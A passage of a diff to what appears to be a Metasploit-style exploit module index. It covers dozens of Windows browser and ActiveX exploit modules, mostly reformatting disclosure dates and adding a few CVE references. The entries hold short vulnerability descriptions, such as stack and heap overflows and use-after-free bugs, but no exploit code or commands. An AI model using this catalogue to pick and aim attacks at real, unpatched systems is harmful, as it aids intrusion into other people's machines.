IDrop ActiveX Control Heap Memory Corruption", "full_name": "exploit/windows/browser/autodesk_idrop", "rank": 300, - "disclosure_date": "2009-04-02 00:00:00 -0500", + "disclosure_date": "2009-04-02", "type": "exploit", "author": [ "Elazar Broad ", @@ -54308,7 +52264,7 @@ "name": "SonicWALL Aventail epi.dll AuthCredential Format String", "full_name": "exploit/windows/browser/aventail_epi_activex", "rank": 300, - "disclosure_date": "2010-08-19 00:00:00 -0500", + "disclosure_date": "2010-08-19", "type": "exploit", "author": [ "Nikolas Sotiriu", @@ -54336,7 +52292,7 @@ "name": "AwingSoft Winds3D Player SceneURL Buffer Overflow", "full_name": "exploit/windows/browser/awingsoft_web3d_bof", "rank": 200, - "disclosure_date": "2009-07-10 00:00:00 -0500", + "disclosure_date": "2009-07-10", "type": "exploit", "author": [ "shinnai ", @@ -54367,7 +52323,7 @@ "name": "AwingSoft Winds3D Player 3.5 SceneURL Download and Execute", "full_name": "exploit/windows/browser/awingsoft_winds3d_sceneurl", "rank": 600, - "disclosure_date": "2009-11-14 00:00:00 -0600", + "disclosure_date": "2009-11-14", "type": "exploit", "author": [ "jduck " @@ -54394,7 +52350,7 @@ "name": "BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow", "full_name": "exploit/windows/browser/baofeng_storm_onbeforevideodownload", "rank": 300, - "disclosure_date": "2009-04-30 00:00:00 -0500", + "disclosure_date": "2009-04-30", "type": "exploit", "author": [ "jduck " @@ -54423,7 +52379,7 @@ "name": "RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow", "full_name": "exploit/windows/browser/barcode_ax49", "rank": 300, - "disclosure_date": "2007-06-22 00:00:00 -0500", + "disclosure_date": "2007-06-22", "type": "exploit", "author": [ "Trancek ", @@ -54453,7 +52409,7 @@ "name": "Black Ice Cover Page ActiveX Control Arbitrary File Download", "full_name": "exploit/windows/browser/blackice_downloadimagefileurl", "rank": 600, - "disclosure_date": "2008-06-05 00:00:00 -0500", + "disclosure_date": "2008-06-05", "type": "exploit", "author": [ "shinnai", @@ -54484,7 +52440,7 @@ "name": "Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute", "full_name": "exploit/windows/browser/c6_messenger_downloaderactivex", "rank": 600, - "disclosure_date": "2008-06-03 00:00:00 -0500", + "disclosure_date": "2008-06-03", "type": "exploit", "author": [ "Unknown", @@ -54513,7 +52469,7 @@ "name": "CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow", "full_name": "exploit/windows/browser/ca_brightstor_addcolumn", "rank": 300, - "disclosure_date": "2008-03-16 00:00:00 -0500", + "disclosure_date": "2008-03-16", "type": "exploit", "author": [ "dean " @@ -54540,7 +52496,7 @@ "name": "Chilkat Crypt ActiveX WriteFile Unsafe Method", "full_name": "exploit/windows/browser/chilkat_crypt_writefile", "rank": 600, - "disclosure_date": "2008-11-03 00:00:00 -0600", + "disclosure_date": "2008-11-03", "type": "exploit", "author": [ "shinnai", @@ -54570,7 +52526,7 @@ "name": "Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute", "full_name": "exploit/windows/browser/cisco_anyconnect_exec", "rank": 600, - "disclosure_date": "2011-06-01 00:00:00 -0500", + "disclosure_date": "2011-06-01", "type": "exploit", "author": [ "bannedit " @@ -54599,7 +52555,7 @@ "name": "Cisco Linksys PlayerPT ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/cisco_playerpt_setsource", "rank": 300, - "disclosure_date": "2012-03-22 00:00:00 -0500", + "disclosure_date": "2012-03-22", "type": "exploit", "author": [ "rgod", @@ -54607,6 +52563,7 @@ ], "description": "This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15\n as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ\n Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in\n the SetSource method, allows to trigger a stack based buffer overflow which leads\n to code execution under the context of the user visiting a malicious web page.", "references": [ + "CVE-2012-0284", "OSVDB-80297", "EDB-18641" ], @@ -54630,7 +52587,7 @@ "name": "Cisco Linksys PlayerPT ActiveX Control SetSource sURL Argument Buffer Overflow", "full_name": "exploit/windows/browser/cisco_playerpt_setsource_surl", "rank": 300, - "disclosure_date": "2012-07-17 00:00:00 -0500", + "disclosure_date": "2012-07-17", "type": "exploit", "author": [ "Carsten Eiram", @@ -54666,7 +52623,7 @@ "name": "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)", "full_name": "exploit/windows/browser/cisco_webex_ext", "rank": 500, - "disclosure_date": "2017-01-21 00:00:00 -0600", + "disclosure_date": "2017-01-21", "type": "exploit", "author": [ "Tavis Ormandy ", @@ -54693,7 +52650,7 @@ "name": "Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability", "full_name": "exploit/windows/browser/citrix_gateway_actx", "rank": 300, - "disclosure_date": "2011-07-14 00:00:00 -0500", + "disclosure_date": "2011-07-14", "type": "exploit", "author": [ "Michal Trojnara", @@ -54726,7 +52683,7 @@ "name": "IBM Rational ClearQuest CQOle Remote Code Execution", "full_name": "exploit/windows/browser/clear_quest_cqole", "rank": 300, - "disclosure_date": "2012-05-19 00:00:00 -0500", + "disclosure_date": "2012-05-19", "type": "exploit", "author": [ "Andrea Micalizzi aka rgod", @@ -54759,7 +52716,7 @@ "name": "CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow", "full_name": "exploit/windows/browser/communicrypt_mail_activex", "rank": 500, - "disclosure_date": "2010-05-19 00:00:00 -0500", + "disclosure_date": "2010-05-19", "type": "exploit", "author": [ "Lincoln", @@ -54787,7 +52744,7 @@ "name": "Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/creative_software_cachefolder", "rank": 300, - "disclosure_date": "2008-05-28 00:00:00 -0500", + "disclosure_date": "2008-05-28", "type": "exploit", "author": [ "MC " @@ -54814,7 +52771,7 @@ "name": "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow", "full_name": "exploit/windows/browser/crystal_reports_printcontrol", "rank": 300, - "disclosure_date": "2010-12-14 00:00:00 -0600", + "disclosure_date": "2010-12-14", "type": "exploit", "author": [ "Dmitriy Pletnev", @@ -54849,7 +52806,7 @@ "name": "Dell Webcam CrazyTalk ActiveX BackImage Vulnerability", "full_name": "exploit/windows/browser/dell_webcam_crazytalk", "rank": 300, - "disclosure_date": "2012-03-19 00:00:00 -0500", + "disclosure_date": "2012-03-19", "type": "exploit", "author": [ "rgod", @@ -54881,7 +52838,7 @@ "name": "Worldweaver DX Studio Player shell.execute() Command Execution", "full_name": "exploit/windows/browser/dxstudio_player_exec", "rank": 600, - "disclosure_date": "2009-06-09 00:00:00 -0500", + "disclosure_date": "2009-06-09", "type": "exploit", "author": [ "jduck " @@ -54911,7 +52868,7 @@ "name": "Electronic Arts SnoopyCtrl ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/ea_checkrequirements", "rank": 300, - "disclosure_date": "2007-10-08 00:00:00 -0500", + "disclosure_date": "2007-10-08", "type": "exploit", "author": [ "MC " @@ -54938,7 +52895,7 @@ "name": "FlipViewer FViewerLoading ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/ebook_flipviewer_fviewerloading", "rank": 300, - "disclosure_date": "2007-06-06 00:00:00 -0500", + "disclosure_date": "2007-06-06", "type": "exploit", "author": [ "LSO " @@ -54966,7 +52923,7 @@ "name": "EnjoySAP SAP GUI ActiveX Control Arbitrary File Download", "full_name": "exploit/windows/browser/enjoysapgui_comp_download", "rank": 600, - "disclosure_date": "2009-04-15 00:00:00 -0500", + "disclosure_date": "2009-04-15", "type": "exploit", "author": [ "MC " @@ -54994,7 +52951,7 @@ "name": "EnjoySAP SAP GUI ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/enjoysapgui_preparetoposthtml", "rank": 300, - "disclosure_date": "2007-07-05 00:00:00 -0500", + "disclosure_date": "2007-07-05", "type": "exploit", "author": [ "MC " @@ -55023,7 +52980,7 @@ "name": "Exodus Wallet (ElectronJS Framework) remote Code Execution", "full_name": "exploit/windows/browser/exodus", "rank": 0, - "disclosure_date": "2018-01-25 00:00:00 -0600", + "disclosure_date": "2018-01-25", "type": "exploit", "author": [ "Wflki", @@ -55052,7 +53009,7 @@ "name": "Facebook Photo Uploader 4 ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/facebook_extractiptc", "rank": 300, - "disclosure_date": "2008-01-31 00:00:00 -0600", + "disclosure_date": "2008-01-31", "type": "exploit", "author": [ "MC " @@ -55081,7 +53038,7 @@ "name": "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE", "full_name": "exploit/windows/browser/firefox_smil_uaf", "rank": 300, - "disclosure_date": "2016-11-30 00:00:00 -0600", + "disclosure_date": "2016-11-30", "type": "exploit", "author": [ "Anonymous Gaijin", @@ -55110,7 +53067,7 @@ "name": "Foxit Reader Plugin URL Processing Buffer Overflow", "full_name": "exploit/windows/browser/foxit_reader_plugin_url_bof", "rank": 300, - "disclosure_date": "2013-01-07 00:00:00 -0600", + "disclosure_date": "2013-01-07", "type": "exploit", "author": [ "rgod ", @@ -55142,7 +53099,7 @@ "name": "GetGo Download Manager HTTP Response Buffer Overflow", "full_name": "exploit/windows/browser/getgodm_http_response_bof", "rank": 300, - "disclosure_date": "2014-03-09 00:00:00 -0600", + "disclosure_date": "2014-03-09", "type": "exploit", "author": [ "Julien Ahrens", @@ -55171,7 +53128,7 @@ "name": "GOM Player ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/gom_openurl", "rank": 300, - "disclosure_date": "2007-10-27 00:00:00 -0500", + "disclosure_date": "2007-10-27", "type": "exploit", "author": [ "MC " @@ -55199,7 +53156,7 @@ "name": "Green Dam URL Processing Buffer Overflow", "full_name": "exploit/windows/browser/greendam_url", "rank": 300, - "disclosure_date": "2009-06-11 00:00:00 -0500", + "disclosure_date": "2009-06-11", "type": "exploit", "author": [ "Trancer " @@ -55228,7 +53185,7 @@ "name": "Honeywell HSC Remote Deployer ActiveX Remote Code Execution", "full_name": "exploit/windows/browser/honeywell_hscremotedeploy_exec", "rank": 600, - "disclosure_date": "2013-02-22 00:00:00 -0600", + "disclosure_date": "2013-02-22", "type": "exploit", "author": [ "juan vazquez " @@ -55258,7 +53215,7 @@ "name": "Honeywell Tema Remote Installer ActiveX Remote Code Execution", "full_name": "exploit/windows/browser/honeywell_tema_exec", "rank": 600, - "disclosure_date": "2011-10-20 00:00:00 -0500", + "disclosure_date": "2011-10-20", "type": "exploit", "author": [ "Billy Rios", @@ -55288,7 +53245,7 @@ "name": "HP Application Lifecycle Management XGO.ocx ActiveX SetShapeNodeType() Remote Code Execution", "full_name": "exploit/windows/browser/hp_alm_xgo_setshapenodetype_exec", "rank": 300, - "disclosure_date": "2012-08-29 00:00:00 -0500", + "disclosure_date": "2012-08-29", "type": "exploit", "author": [ "rgod ", @@ -55323,7 +53280,7 @@ "name": "HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution", "full_name": "exploit/windows/browser/hp_easy_printer_care_xmlcachemgr", "rank": 500, - "disclosure_date": "2012-01-11 00:00:00 -0600", + "disclosure_date": "2012-01-11", "type": "exploit", "author": [ "Andrea Micalizzi", @@ -55353,7 +53310,7 @@ "name": "HP Easy Printer Care XMLSimpleAccessor Class ActiveX Control Remote Code Execution", "full_name": "exploit/windows/browser/hp_easy_printer_care_xmlsimpleaccessor", "rank": 500, - "disclosure_date": "2011-08-16 00:00:00 -0500", + "disclosure_date": "2011-08-16", "type": "exploit", "author": [ "Andrea Micalizzi", @@ -55383,7 +53340,7 @@ "name": "Persits XUpload ActiveX AddFile Buffer Overflow", "full_name": "exploit/windows/browser/hp_loadrunner_addfile", "rank": 300, - "disclosure_date": "2008-01-25 00:00:00 -0600", + "disclosure_date": "2008-01-25", "type": "exploit", "author": [ "jduck " @@ -55412,7 +53369,7 @@ "name": "HP LoadRunner 9.0 ActiveX AddFolder Buffer Overflow", "full_name": "exploit/windows/browser/hp_loadrunner_addfolder", "rank": 400, - "disclosure_date": "2007-12-25 00:00:00 -0600", + "disclosure_date": "2007-12-25", "type": "exploit", "author": [ "MC " @@ -55440,7 +53397,7 @@ "name": "HP LoadRunner lrFileIOService ActiveX Remote Code Execution", "full_name": "exploit/windows/browser/hp_loadrunner_writefilebinary", "rank": 300, - "disclosure_date": "2013-07-24 00:00:00 -0500", + "disclosure_date": "2013-07-24", "type": "exploit", "author": [ "rgod ", @@ -55477,7 +53434,7 @@ "name": "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution", "full_name": "exploit/windows/browser/hp_loadrunner_writefilestring", "rank": 300, - "disclosure_date": "2013-07-24 00:00:00 -0500", + "disclosure_date": "2013-07-24", "type": "exploit", "author": [ "Brian Gorenc", @@ -55508,7 +53465,7 @@ "name": "HP Mercury Quality Center ActiveX Control ProgColor Buffer Overflow", "full_name": "exploit/windows/browser/hpmqc_progcolor", "rank": 300, - "disclosure_date": "2007-04-04 00:00:00 -0500", + "disclosure_date": "2007-04-04", "type": "exploit", "author": [ "Trancer " @@ -55537,7 +53494,7 @@ "name": "Hyleos ChemView ActiveX Control Stack Buffer Overflow", "full_name": "exploit/windows/browser/hyleos_chemviewx_activex", "rank": 400, - "disclosure_date": "2010-02-10 00:00:00 -0600", + "disclosure_date": "2010-02-10", "type": "exploit", "author": [ "Paul Craig ", @@ -55568,7 +53525,7 @@ "name": "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow", "full_name": "exploit/windows/browser/ibm_spss_c1sizer", "rank": 300, - "disclosure_date": "2013-04-26 00:00:00 -0500", + "disclosure_date": "2013-04-26", "type": "exploit", "author": [ "Alexander Gavrun", @@ -55603,7 +53560,7 @@ "name": "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow", "full_name": "exploit/windows/browser/ibm_tivoli_pme_activex_bof", "rank": 300, - "disclosure_date": "2012-03-01 00:00:00 -0600", + "disclosure_date": "2012-03-01", "type": "exploit", "author": [ "Andrea Micalizzi aka rgod", @@ -55637,7 +53594,7 @@ "name": "IBM Access Support ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/ibmegath_getxmlvalue", "rank": 300, - "disclosure_date": "2009-03-24 00:00:00 -0500", + "disclosure_date": "2009-03-24", "type": "exploit", "author": [ "MC " @@ -55665,7 +53622,7 @@ "name": "IBM Lotus Domino Web Access Upload Module Buffer Overflow", "full_name": "exploit/windows/browser/ibmlotusdomino_dwa_uploadmodule", "rank": 300, - "disclosure_date": "2007-12-20 00:00:00 -0600", + "disclosure_date": "2007-12-20", "type": "exploit", "author": [ "Elazar Broad " @@ -55694,7 +53651,7 @@ "name": "MS13-008 Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability", "full_name": "exploit/windows/browser/ie_cbutton_uaf", "rank": 300, - "disclosure_date": "2012-12-27 00:00:00 -0600", + "disclosure_date": "2012-12-27", "type": "exploit", "author": [ "eromang", @@ -55738,7 +53695,7 @@ "name": "MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability", "full_name": "exploit/windows/browser/ie_cgenericelement_uaf", "rank": 400, - "disclosure_date": "2013-05-03 00:00:00 -0500", + "disclosure_date": "2013-05-03", "type": "exploit", "author": [ "Unknown", @@ -55776,7 +53733,7 @@ "name": "MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution", "full_name": "exploit/windows/browser/ie_createobject", "rank": 600, - "disclosure_date": "2006-04-11 00:00:00 -0500", + "disclosure_date": "2006-04-11", "type": "exploit", "author": [ "hdm " @@ -55820,7 +53777,7 @@ "name": "MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ", "full_name": "exploit/windows/browser/ie_execcommand_uaf", "rank": 400, - "disclosure_date": "2012-09-14 00:00:00 -0500", + "disclosure_date": "2012-09-14", "type": "exploit", "author": [ "unknown", @@ -55860,7 +53817,7 @@ "name": "Microsoft Internet Explorer isComponentInstalled Overflow", "full_name": "exploit/windows/browser/ie_iscomponentinstalled", "rank": 300, - "disclosure_date": "2006-02-24 00:00:00 -0600", + "disclosure_date": "2006-02-24", "type": "exploit", "author": [ "hdm " @@ -55888,7 +53845,7 @@ "name": "MS13-080 Microsoft Internet Explorer SetMouseCapture Use-After-Free", "full_name": "exploit/windows/browser/ie_setmousecapture_uaf", "rank": 300, - "disclosure_date": "2013-09-17 00:00:00 -0500", + "disclosure_date": "2013-09-17", "type": "exploit", "author": [ "Unknown", @@ -55923,7 +53880,7 @@ "name": "Microsoft Internet Explorer Unsafe Scripting Misconfiguration", "full_name": "exploit/windows/browser/ie_unsafe_scripting", "rank": 0, - "disclosure_date": "2010-09-20 00:00:00 -0500", + "disclosure_date": "2010-09-20", "type": "exploit", "author": [ "natron ", @@ -55952,7 +53909,7 @@ "name": "Viscom Image Viewer CP Pro 8.0/Gold 6.0 ActiveX Control", "full_name": "exploit/windows/browser/imgeviewer_tifmergemultifiles", "rank": 300, - "disclosure_date": "2010-03-03 00:00:00 -0600", + "disclosure_date": "2010-03-03", "type": "exploit", "author": [ "Dr_IDE", @@ -55961,6 +53918,7 @@ ], "description": "This module exploits a stack based buffer overflow in the Active control file\n ImageViewer2.OCX by passing an overly long argument to an insecure TifMergeMultiFiles()\n method. Exploitation results in code execution with the privileges of the user who\n browsed to the exploit page.\n\n The victim will first be required to trust the publisher Viscom Software.\n This module has been designed to bypass DEP and ASLR under XP IE8, Vista and Win7\n with Java support.", "references": [ + "CVE-2010-5193", "OSVDB-78102", "EDB-15668", "URL-http://secunia.com/advisories/42445/", @@ -55985,7 +53943,7 @@ "name": "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow", "full_name": "exploit/windows/browser/indusoft_issymbol_internationalseparator", "rank": 300, - "disclosure_date": "2012-04-28 00:00:00 -0500", + "disclosure_date": "2012-04-28", "type": "exploit", "author": [ "Alexander Gavrun", @@ -56025,7 +53983,7 @@ "name": "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow", "full_name": "exploit/windows/browser/inotes_dwa85w_bof", "rank": 300, - "disclosure_date": "2012-06-01 00:00:00 -0500", + "disclosure_date": "2012-06-01", "type": "exploit", "author": [ "Gaurav Baruah", @@ -56063,7 +54021,7 @@ "name": "Quest InTrust Annotation Objects Uninitialized Pointer", "full_name": "exploit/windows/browser/intrust_annotatex_add", "rank": 200, - "disclosure_date": "2012-03-28 00:00:00 -0500", + "disclosure_date": "2012-03-28", "type": "exploit", "author": [ "rgod ", @@ -56096,7 +54054,7 @@ "name": "Sun Java Web Start BasicServiceImpl Code Execution", "full_name": "exploit/windows/browser/java_basicservice_impl", "rank": 600, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "Matthias Kaiser", @@ -56126,7 +54084,7 @@ "name": "Java CMM Remote Code Execution", "full_name": "exploit/windows/browser/java_cmm", "rank": 300, - "disclosure_date": "2013-03-01 00:00:00 -0600", + "disclosure_date": "2013-03-01", "type": "exploit", "author": [ "Unknown", @@ -56159,7 +54117,7 @@ "name": "Sun Java Applet2ClassLoader Remote Code Execution", "full_name": "exploit/windows/browser/java_codebase_trust", "rank": 600, - "disclosure_date": "2011-02-15 00:00:00 -0600", + "disclosure_date": "2011-02-15", "type": "exploit", "author": [ "Frederic Hoguin", @@ -56190,7 +54148,7 @@ "name": "Sun Java Runtime New Plugin docbase Buffer Overflow", "full_name": "exploit/windows/browser/java_docbase_bof", "rank": 500, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "jduck " @@ -56223,7 +54181,7 @@ "name": "Java MixerSequencer Object GM_Song Structure Handling Vulnerability", "full_name": "exploit/windows/browser/java_mixer_sequencer", "rank": 500, - "disclosure_date": "2010-03-30 00:00:00 -0500", + "disclosure_date": "2010-03-30", "type": "exploit", "author": [ "Peter Vreugdenhil", @@ -56254,7 +54212,7 @@ "name": "Sun Java Web Start Plugin Command Line Argument Injection", "full_name": "exploit/windows/browser/java_ws_arginject_altjvm", "rank": 600, - "disclosure_date": "2010-04-09 00:00:00 -0500", + "disclosure_date": "2010-04-09", "type": "exploit", "author": [ "jduck " @@ -56286,7 +54244,7 @@ "name": "Sun Java Web Start Double Quote Injection", "full_name": "exploit/windows/browser/java_ws_double_quote", "rank": 600, - "disclosure_date": "2012-10-16 00:00:00 -0500", + "disclosure_date": "2012-10-16", "type": "exploit", "author": [ "Rh0 " @@ -56317,7 +54275,7 @@ "name": "Sun Java Web Start Plugin Command Line Argument Injection", "full_name": "exploit/windows/browser/java_ws_vmargs", "rank": 600, - "disclosure_date": "2012-02-14 00:00:00 -0600", + "disclosure_date": "2012-02-14", "type": "exploit", "author": [ "jduck " @@ -56348,7 +54306,7 @@ "name": "Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/juniper_sslvpn_ive_setupdll", "rank": 300, - "disclosure_date": "2006-04-26 00:00:00 -0500", + "disclosure_date": "2006-04-26", "type": "exploit", "author": [ "aushack " @@ -56378,7 +54336,7 @@ "name": "Kazaa Altnet Download Manager ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/kazaa_altnet_heap", "rank": 300, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "MC " @@ -56406,7 +54364,7 @@ "name": "KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability", "full_name": "exploit/windows/browser/keyhelp_launchtripane_exec", "rank": 600, - "disclosure_date": "2012-06-26 00:00:00 -0500", + "disclosure_date": "2012-06-26", "type": "exploit", "author": [ "rgod ", @@ -56437,7 +54395,7 @@ "name": "Logitech VideoCall ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/logitechvideocall_start", "rank": 300, - "disclosure_date": "2007-05-31 00:00:00 -0500", + "disclosure_date": "2007-05-31", "type": "exploit", "author": [ "MC " @@ -56465,7 +54423,7 @@ "name": "iseemedia / Roxio / MGI Software LPViewer ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/lpviewer_url", "rank": 300, - "disclosure_date": "2008-10-06 00:00:00 -0500", + "disclosure_date": "2008-10-06", "type": "exploit", "author": [ "MC " @@ -56494,7 +54452,7 @@ "name": "Macrovision InstallShield Update Service Buffer Overflow", "full_name": "exploit/windows/browser/macrovision_downloadandexecute", "rank": 300, - "disclosure_date": "2007-10-31 00:00:00 -0500", + "disclosure_date": "2007-10-31", "type": "exploit", "author": [ "MC " @@ -56522,7 +54480,7 @@ "name": "Macrovision InstallShield Update Service ActiveX Unsafe Method", "full_name": "exploit/windows/browser/macrovision_unsafe", "rank": 600, - "disclosure_date": "2007-10-20 00:00:00 -0500", + "disclosure_date": "2007-10-20", "type": "exploit", "author": [ "MC " @@ -56550,7 +54508,7 @@ "name": "Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution", "full_name": "exploit/windows/browser/malwarebytes_update_exec", "rank": 400, - "disclosure_date": "2014-12-16 00:00:00 -0600", + "disclosure_date": "2014-12-16", "type": "exploit", "author": [ "Yonathan Klijnsma", @@ -56580,7 +54538,7 @@ "name": "Maxthon3 about:history XCS Trusted Zone Code Execution", "full_name": "exploit/windows/browser/maxthon_history_xcs", "rank": 600, - "disclosure_date": "2012-11-26 00:00:00 -0600", + "disclosure_date": "2012-11-26", "type": "exploit", "author": [ "Roberto Suggi Liverani", @@ -56610,7 +54568,7 @@ "name": "McAfee Subscription Manager Stack Buffer Overflow", "full_name": "exploit/windows/browser/mcafee_mcsubmgr_vsprintf", "rank": 300, - "disclosure_date": "2006-08-01 00:00:00 -0500", + "disclosure_date": "2006-08-01", "type": "exploit", "author": [ "skape " @@ -56638,7 +54596,7 @@ "name": "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability", "full_name": "exploit/windows/browser/mcafee_mvt_exec", "rank": 600, - "disclosure_date": "2012-04-30 00:00:00 -0500", + "disclosure_date": "2012-04-30", "type": "exploit", "author": [ "rgod", @@ -56668,7 +54626,7 @@ "name": "McAfee Visual Trace ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/mcafeevisualtrace_tracetarget", "rank": 300, - "disclosure_date": "2007-07-07 00:00:00 -0500", + "disclosure_date": "2007-07-07", "type": "exploit", "author": [ "MC " @@ -56696,7 +54654,7 @@ "name": "mIRC IRC URL Buffer Overflow", "full_name": "exploit/windows/browser/mirc_irc_url", "rank": 300, - "disclosure_date": "2003-10-13 00:00:00 -0500", + "disclosure_date": "2003-10-13", "type": "exploit", "author": [ "MC " @@ -56725,7 +54683,7 @@ "name": "Firefox 8/9 AttributeChildRemoved() Use-After-Free", "full_name": "exploit/windows/browser/mozilla_attribchildremoved", "rank": 200, - "disclosure_date": "2011-12-06 00:00:00 -0600", + "disclosure_date": "2011-12-06", "type": "exploit", "author": [ "regenrecht", @@ -56759,7 +54717,7 @@ "name": "Firefox onreadystatechange Event DocumentViewerImpl Use After Free", "full_name": "exploit/windows/browser/mozilla_firefox_onreadystatechange", "rank": 300, - "disclosure_date": "2013-06-25 00:00:00 -0500", + "disclosure_date": "2013-06-25", "type": "exploit", "author": [ "Nils", @@ -56796,7 +54754,7 @@ "name": "Firefox XMLSerializer Use After Free", "full_name": "exploit/windows/browser/mozilla_firefox_xmlserializer", "rank": 300, - "disclosure_date": "2013-01-08 00:00:00 -0600", + "disclosure_date": "2013-01-08", "type": "exploit", "author": [ "regenrecht", @@ -56828,7 +54786,7 @@ "name": "Mozilla Firefox Interleaved document.write/appendChild Memory Corruption", "full_name": "exploit/windows/browser/mozilla_interleaved_write", "rank": 300, - "disclosure_date": "2010-10-25 00:00:00 -0500", + "disclosure_date": "2010-10-25", "type": "exploit", "author": [ "unknown", @@ -56860,7 +54818,7 @@ "name": "Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability", "full_name": "exploit/windows/browser/mozilla_mchannel", "rank": 300, - "disclosure_date": "2011-05-10 00:00:00 -0500", + "disclosure_date": "2011-05-10", "type": "exploit", "author": [ "regenrecht", @@ -56893,7 +54851,7 @@ "name": "Firefox nsSVGValue Out-of-Bounds Access Vulnerability", "full_name": "exploit/windows/browser/mozilla_nssvgvalue", "rank": 200, - "disclosure_date": "2011-12-06 00:00:00 -0600", + "disclosure_date": "2011-12-06", "type": "exploit", "author": [ "regenrecht", @@ -56926,7 +54884,7 @@ "name": "Mozilla Firefox \"nsTreeRange\" Dangling Pointer Vulnerability", "full_name": "exploit/windows/browser/mozilla_nstreerange", "rank": 300, - "disclosure_date": "2011-02-02 00:00:00 -0600", + "disclosure_date": "2011-02-02", "type": "exploit", "author": [ "regenrecht", @@ -56962,7 +54920,7 @@ "name": "Mozilla Firefox Array.reduceRight() Integer Overflow", "full_name": "exploit/windows/browser/mozilla_reduceright", "rank": 300, - "disclosure_date": "2011-06-21 00:00:00 -0500", + "disclosure_date": "2011-06-21", "type": "exploit", "author": [ "Chris Rohlf", @@ -56999,7 +54957,7 @@ "name": "MS03-020 Microsoft Internet Explorer Object Type", "full_name": "exploit/windows/browser/ms03_020_ie_objecttype", "rank": 300, - "disclosure_date": "2003-06-04 00:00:00 -0500", + "disclosure_date": "2003-06-04", "type": "exploit", "author": [ "skape " @@ -57028,7 +54986,7 @@ "name": "MS05-054 Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution", "full_name": "exploit/windows/browser/ms05_054_onload", "rank": 300, - "disclosure_date": "2005-11-21 00:00:00 -0600", + "disclosure_date": "2005-11-21", "type": "exploit", "author": [ "Benjamin Tobias Franz", @@ -57061,7 +55019,7 @@ "name": "Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution", "full_name": "exploit/windows/browser/ms06_001_wmf_setabortproc", "rank": 500, - "disclosure_date": "2005-12-27 00:00:00 -0600", + "disclosure_date": "2005-12-27", "type": "exploit", "author": [ "hdm ", @@ -57094,7 +55052,7 @@ "name": "MS06-013 Microsoft Internet Explorer createTextRange() Code Execution", "full_name": "exploit/windows/browser/ms06_013_createtextrange", "rank": 300, - "disclosure_date": "2006-03-19 00:00:00 -0600", + "disclosure_date": "2006-03-19", "type": "exploit", "author": [ "Faithless ", @@ -57132,7 +55090,7 @@ "name": "MS06-055 Microsoft Internet Explorer VML Fill Method Code Execution", "full_name": "exploit/windows/browser/ms06_055_vml_method", "rank": 300, - "disclosure_date": "2006-09-19 00:00:00 -0500", + "disclosure_date": "2006-09-19", "type": "exploit", "author": [ "hdm ", @@ -57165,7 +55123,7 @@ "name": "MS06-057 Microsoft Internet Explorer WebViewFolderIcon setSlice() Overflow", "full_name": "exploit/windows/browser/ms06_057_webview_setslice", "rank": 300, - "disclosure_date": "2006-07-17 00:00:00 -0500", + "disclosure_date": "2006-07-17", "type": "exploit", "author": [ "hdm " @@ -57194,7 +55152,7 @@ "name": "MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability", "full_name": "exploit/windows/browser/ms06_067_keyframe", "rank": 300, - "disclosure_date": "2006-11-14 00:00:00 -0600", + "disclosure_date": "2006-11-14", "type": "exploit", "author": [ "Alexander Sotirov ", @@ -57224,7 +55182,7 @@ "name": "MS06-071 Microsoft Internet Explorer XML Core Services HTTP Request Handling", "full_name": "exploit/windows/browser/ms06_071_xml_core", "rank": 300, - "disclosure_date": "2006-10-10 00:00:00 -0500", + "disclosure_date": "2006-10-10", "type": "exploit", "author": [ "Trirat Puttaraksa " @@ -57253,7 +55211,7 @@ "name": "Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)", "full_name": 